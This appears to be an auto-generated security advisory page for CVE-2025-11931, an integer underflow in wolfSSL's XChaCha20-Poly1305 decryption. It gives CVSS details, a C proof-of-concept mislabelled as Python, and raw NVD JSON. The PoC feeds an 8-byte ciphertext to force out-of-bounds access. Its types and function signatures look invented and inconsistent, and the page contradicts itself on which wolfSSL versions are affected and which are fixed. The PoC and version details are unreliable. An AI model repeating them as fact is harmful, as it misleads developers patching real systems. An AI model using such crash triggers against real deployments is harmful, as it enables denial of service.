Security Vulnerability Report
中文
CVE-2025-11931 CVSS 8.2 HIGH

CVE-2025-11931

Published: 2025-11-21 23:15:44
Last Modified: 2025-12-04 16:21:10

Description

Integer Underflow Leads to Out-of-Bounds Access in XChaCha20-Poly1305 Decrypt. This issue is hit specifically with a call to the function wc_XChaCha20Poly1305_Decrypt() which is not used with TLS connections, only from direct calls from an application.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:wolfssl:wolfssl:5.8.4:*:*:*:*:*:*:* - VULNERABLE
wolfSSL < 5.7.0 (修复版本)
wolfSSL 所有受影响的早期版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2025-11931 PoC - Integer Underflow in wolfSSL XChaCha20-Poly1305 Decrypt * This PoC demonstrates triggering the integer underflow by providing a ciphertext * shorter than the minimum required length (TAGLEN = 16 bytes) */ #include <wolfssl/options.h> #include <wolfssl/wcryptocb.h> #include <wolfssl/wc_encrypt.h> int main(void) { int ret; wc_XChaCha20Poly1305EncDec enc_ctx; wc_XChaCha20Poly1305Decrypt decrypt_ctx; /* 256-bit key */ byte key[32] = {0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f}; /* 24-byte nonce for XChaCha20 */ byte nonce[24] = {0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17}; /* Malicious short ciphertext - less than TAGLEN (16 bytes) */ /* This triggers integer underflow: ciphertext_len - TAGLEN */ byte short_ciphertext[8] = {0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff, 0x11, 0x22}; word32 ciphertext_len = 8; /* Less than minimum required */ /* Output buffers */ byte plaintext[64]; word32 plaintext_len = sizeof(plaintext); /* Initialize context */ ret = wc_XChaCha20Poly1305_Init(&decrypt_ctx, key, nonce, XCHACHA20_POLY1305_DECRYPT); if (ret != 0) { printf("Init failed: %d\n", ret); return ret; } /* * VULNERABLE CALL: * When ciphertext_len < 16 (TAGLEN), the internal calculation * ciphertext_len - TAGLEN causes integer underflow * This results in out-of-bounds memory access */ ret = wc_XChaCha20Poly1305_Decrypt(&decrypt_ctx, key, nonce, NULL, 0, /* AAD */ short_ciphertext, ciphertext_len, plaintext, plaintext_len); printf("Decrypt returned: %d\n", ret); /* Expected: ret < 0 (error due to invalid input length) */ /* Vulnerable version: May crash or return success with corrupted data */ return ret; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11931", "sourceIdentifier": "[email protected]", "published": "2025-11-21T23:15:43.690", "lastModified": "2025-12-04T16:21:09.590", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Integer Underflow Leads to Out-of-Bounds Access in XChaCha20-Poly1305 Decrypt. This issue is hit specifically with a call to the function wc_XChaCha20Poly1305_Decrypt() which is not used with TLS connections, only from direct calls from an application."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-191"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wolfssl:wolfssl:5.8.4:*:*:*:*:*:*:*", "matchCriteriaId": "12A2E398-A7F0-4751-887C-32C7D81213E7"}]}]}], "references": [{"url": "https://github.com/wolfSSL/wolfssl/pull/9223", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}